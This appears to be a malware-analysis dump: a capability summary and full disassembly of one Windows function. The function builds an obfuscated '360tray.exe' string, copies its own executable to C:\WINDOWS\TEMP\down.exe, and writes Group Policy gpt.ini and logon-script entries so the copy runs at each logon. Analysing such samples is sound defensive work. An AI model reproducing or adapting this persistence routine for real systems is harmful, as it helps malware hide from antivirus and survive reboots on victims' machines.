Function at 0x401f43
Capabilities:
Contain obfuscated stackstrings
Copy file
Create directory
Delete file
Move file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa7c
and byte [ebp - 5], 0
lea eax, [ebp - 0x10]
push ebx
push eax
mov byte [ebp - 0x10], 0x33
mov byte [ebp - 0xf], 0x36
mov byte [ebp - 0xe], 0x30
mov byte [ebp - 0xd], 0x74
mov byte [ebp - 0xc], 0x72
mov byte [ebp - 0xb], 0x61
mov byte [ebp - 0xa], 0x79
mov byte [ebp - 9], 0x2e
mov byte [ebp - 8], 0x65
mov byte [ebp - 7], 0x78
mov byte [ebp - 6], 0x65
call fcn.0040268b
test eax, eax
pop ecx
je 0x402270
push esi
mov esi, 0x104
push edi
xor ebx, ebx
push esi
lea eax, [ebp - 0x838]
push ebx
push eax
call fcn.00403930
add esp, 0xc
lea eax, [ebp - 0x838]
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 1
lea eax, [ebp - 0x838]
push str.C:WINDOWSTEMPdown.exe
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str.C:WINDOWS_system32GroupPolicy
call sub.MSVCRT.dll__mkdir
mov dword [esp], str.C:WINDOWS_system32GroupPolicyuser
call sub.MSVCRT.dll__mkdir
mov dword [esp], str.C:WINDOWS_system32GroupPolicyuserScripts
call sub.MSVCRT.dll__mkdir
mov dword [esp], str.C:WINDOWS_system32GroupPolicyuserScriptsStartup
call sub.MSVCRT.dll__mkdir
mov dword [esp], str.C:WINDOWS_system32GroupPolicyuserScriptsShutdown
call sub.MSVCRT.dll__mkdir
pop ecx
push ebx
push 0x80
push 2
push ebx
push 1
push 0xc0000000
push str.C:WINDOWS_system32GroupPolicygpt.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, str._General__r_n
lea edi, [ebp - 0x630]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 0x3e
mov dword [ebp - 4], eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x624]
push ebx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x630]
push eax
call fcn.00403b90
pop ecx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
push eax
lea eax, [ebp - 0x630]
push eax
push dword [ebp - 4]
call ebx
push 7
mov esi, str.gPCFunctionalityVersion2_r_n
pop ecx
lea edi, [ebp - 0x324]
rep movsd dword es:[edi], dword [esi]
push 0x3a
xor eax, eax
pop ecx
lea edi, [ebp - 0x308]
rep stosd dword es:[edi], eax
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x324]
push eax
call fcn.00403b90
pop ecx
push eax
lea eax, [ebp - 0x324]
push eax
push dword [ebp - 4]
call ebx
push 0x19
mov esi, str.gPCUserExtensionNames_42B5FAAE_6536_11D2_AE5A_0000F87571E340B66650_4972_11D1_A7CA_0000F87571E3__r_n
pop ecx
lea edi, [ebp - 0x11c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
push 0x27
xor eax, eax
pop ecx
lea edi, [ebp - 0xb5]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea eax, [ebp - 0x14]
push 0
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00403b90
pop ecx
push eax
lea eax, [ebp - 0x11c]
push eax
push dword [ebp - 4]
call ebx
mov esi, str.Version65536
lea edi, [ebp - 0x52c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x3d
xor eax, eax
pop ecx
lea edi, [ebp - 0x51e]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor esi, esi
lea eax, [ebp - 0x14]
push esi
push eax
lea eax, [ebp - 0x52c]
push eax
call fcn.00403b90
pop ecx
push eax
lea eax, [ebp - 0x52c]
push eax
push dword [ebp - 4]
call ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push 0x80
push 2
push esi
push 1
push 0xc0000000
push str.C:WINDOWS_system32GroupPolicyuserScripts_script.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, str._Logon__r_n
lea edi, [ebp - 0x734]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x3e
mov dword [ebp - 4], eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x72a]
push 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x734]
push eax
call fcn.00403b90
pop ecx
push eax
lea eax, [ebp - 0x734]
push eax
push dword [ebp - 4]
call ebx
push 9
mov esi, str.0CmdLineC:windows_tempdown.exe_r_n
pop ecx
lea edi, [ebp - 0x220]
rep movsd dword es:[edi], dword [esi]
push 0x38
xor eax, eax
pop ecx
lea edi, [ebp - 0x1fc]
rep stosd dword es:[edi], eax
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x220]
push eax
call fcn.00403b90
pop ecx
push eax
lea eax, [ebp - 0x220]
push eax
push dword [ebp - 4]
call ebx
mov esi, str.0Parametersstart
lea edi, [ebp - 0x428]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x3c
xor eax, eax
pop ecx
lea edi, [ebp - 0x416]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x18]
push 0
push eax
lea eax, [ebp - 0x428]
push eax
call fcn.00403b90
pop ecx
push eax
lea eax, [ebp - 0x428]
push eax
push dword [ebp - 4]
call ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0xe
mov ebx, str.C:WINDOWS_system32GroupPolicyuserScripts_scripts.ini
pop ecx
mov esi, ebx
lea edi, [ebp - 0x93c]
push 0x32
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
pop ecx
xor eax, eax
lea edi, [ebp - 0x903]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0xa7c]
push eax
lea eax, [ebp - 0x93c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
pop edi
cmp eax, 0xffffffff
pop esi
jne 0x402263
push ebx
push str.C:WINDOWS_system32GroupPolicyuserScripts_script.ini
call dword [sym.imp.KERNEL32.dll_MoveFileA]
jmp 0x402275
push str.C:WINDOWS_system32GroupPolicyuserScripts_script.ini
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x402275
call fcn.00401c8f
pop ebx
leave
ret